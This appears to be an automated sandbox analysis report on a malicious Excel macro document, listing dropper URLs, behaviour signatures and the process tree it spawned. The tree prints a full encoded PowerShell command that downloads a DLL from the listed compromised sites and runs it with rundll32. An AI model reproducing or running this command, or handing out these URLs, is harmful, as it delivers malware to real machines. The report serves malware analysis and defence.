Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31/01/2022, 17:03

General

  • Target
    tmphoreu7qq.xls
  • Size 134KB
  • Sample220131-vkryasabar
  • SHA256 fe4d1415a1a26021e315e0e7266f73e7a3c53efd1443f37f0e8271e49cbc2b39
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://mytelefonist.de/wp-content/bLm8fxV2M/

  • exe.dropper

    https://www.yeald.finance/wp-content/uploads/jqAorV83quhL23HMg/

  • exe.dropper

    http://tattooblog.cn/wp-includes/7AvyW/

  • exe.dropper

    http://docs-construction.com/wp-admin/jDDqg/

  • exe.dropper

    http://sep.dfwsolar.club/hzh3v/poAgyopszuh6a1EIG/

  • exe.dropper

    http://b-lubisi-motivational-speaker.com/wp-admin/Wf5rQabNRai/

  • exe.dropper

    https://pmfstukm.com/wp-admin/SoenE35FXJBjVdnfME/

  • exe.dropper

    http://sesco-ks.com/wp-content/DJkMVMU6cBr45/

  • exe.dropper

    https://sangwin.in/magnisapiente/UzYqb1lvgq/

  • exe.dropper

    http://actividades.laforetlanguages.com/wp-admin/OfFq/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmphoreu7qq.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1592
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1596
      • C:\Windows\SysWOW64\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:1304
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1812
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dhSGert3
          3⤵
            PID:1632

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/1592-60-0x0000000000790000-0x000000000084B000-memory.dmp

            memory/1592-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

            memory/1592-57-0x0000000076151000-0x0000000076153000-memory.dmp

            memory/1592-59-0x0000000000790000-0x000000000084B000-memory.dmp

            memory/1592-58-0x0000000000790000-0x000000000084B000-memory.dmp

            memory/1592-54-0x000000002F441000-0x000000002F444000-memory.dmp

            memory/1592-61-0x0000000000790000-0x000000000084B000-memory.dmp

            memory/1592-63-0x0000000000790000-0x000000000084B000-memory.dmp

            memory/1592-62-0x0000000000790000-0x000000000084B000-memory.dmp

            memory/1592-55-0x0000000071401000-0x0000000071403000-memory.dmp

            memory/1592-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

            memory/1812-65-0x00000000024D0000-0x000000000311A000-memory.dmp

            memory/1812-66-0x00000000024D0000-0x000000000311A000-memory.dmp